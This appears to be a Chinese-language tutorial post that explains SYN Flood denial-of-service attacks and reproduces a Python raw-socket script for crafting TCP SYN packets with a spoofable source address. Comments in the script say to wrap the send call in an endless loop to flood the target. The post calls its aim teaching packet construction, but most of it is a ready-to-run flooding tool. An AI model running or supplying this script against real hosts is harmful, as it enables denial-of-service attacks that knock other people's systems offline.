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0×00 背景
SYN Flood是当前最流行的DoS(拒绝服务攻击)与DDoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式。
0×01 Code
本文章的目是介绍使用python构造packet的方法。
使用raw socket来发送packets。 该程序只适用于Linux。windows可以尝试调用winpcap。
- '''
- Syn flood program in python using raw sockets (Linux)
-
- Silver Moon (m00n.silv3r@gmail.com)
- '''
-
- # some imports
- import socket, sys
- from struct import *
-
- # checksum functions needed for calculation checksum
- def checksum(msg):
- s = 0
- # loop taking 2 characters at a time
- for i in range(0, len(msg), 2):
- w = (ord(msg[i]) << 8) + (ord(msg[i+1]) )
- s = s + w
-
- s = (s>>16) + (s & 0xffff);
- #s = s + (s >> 16);
- #complement and mask to 4 byte short
- s = ~s & 0xffff
-
- return s
-
- #create a raw socket
- try:
- s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
- except socket.error , msg:
- print 'Socket could not be created. Error Code : ' + str(msg[0]) +' Message ' + msg[1]
- sys.exit()
-
- # tell kernel not to put in headers, since we are providing it
- s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
-
- # now start constructing the packet
- packet = '';
-
- source_ip = '192.168.1.101'
- dest_ip = '192.168.1.1' # or socket.gethostbyname('www.google.com')
-
- # ip header fields
- ihl = 5
- version = 4
- tos = 0
- tot_len = 20 + 20 # python seems to correctly fill the total length, dont know how ??
- id = 54321 #Id of this packet
- frag_off = 0
- ttl = 255
- protocol = socket.IPPROTO_TCP
- check = 10 # python seems to correctly fill the checksum
- saddr =socket.inet_aton ( source_ip ) #Spoof the source ip address if you want to
- daddr = socket.inet_aton ( dest_ip )
-
- ihl_version = (version << 4) + ihl
-
- # the ! in the pack format string means network order
- ip_header = pack('!BBHHHBBH4s4s', ihl_version, tos, tot_len, id, frag_off, ttl, protocol, check, saddr, daddr)
-
- # tcp header fields
- source = 1234 # source port
- dest = 80 # destination port
- seq = 0
- ack_seq = 0
- doff = 5 #4 bit field, size of tcp header, 5 * 4 = 20 bytes
- #tcp flags
- fin = 0
- syn = 1
- rst = 0
- psh = 0
- ack = 0
- urg = 0
- window = socket.htons (5840) # maximum allowed window size
- check = 0
- urg_ptr = 0
-
- offset_res = (doff << 4) + 0
- tcp_flags = fin + (syn << 1) + (rst << 2) + (psh <<3) +(ack << 4) + (urg << 5)
-
- # the ! in the pack format string means network order
- tcp_header = pack('!HHLLBBHHH', source, dest, seq, ack_seq, offset_res, tcp_flags, window, check, urg_ptr)
-
- # pseudo header fields
- source_address = socket.inet_aton( source_ip )
- dest_address = socket.inet_aton(dest_ip)
- placeholder = 0
- protocol = socket.IPPROTO_TCP
- tcp_length = len(tcp_header)
-
- psh = pack('!4s4sBBH', source_address , dest_address , placeholder , protocol , tcp_length);
- psh = psh + tcp_header;
-
- tcp_checksum = checksum(psh)
-
- # make the tcp header again and fill the correct checksum
- tcp_header = pack('!HHLLBBHHH', source, dest, seq, ack_seq, offset_res, tcp_flags, window, tcp_checksum , urg_ptr)
-
- # final full packet - syn packets dont have any data
- packet = ip_header + tcp_header
-
- #Send the packet finally - the port specified has no effect
- s.sendto(packet, (dest_ip , 0)) # put this in a loop if you want to flood the target
-
- #put the above line in a loop like while 1: if you want to flood
复制代码
注意:运行时需要Root权限。 |
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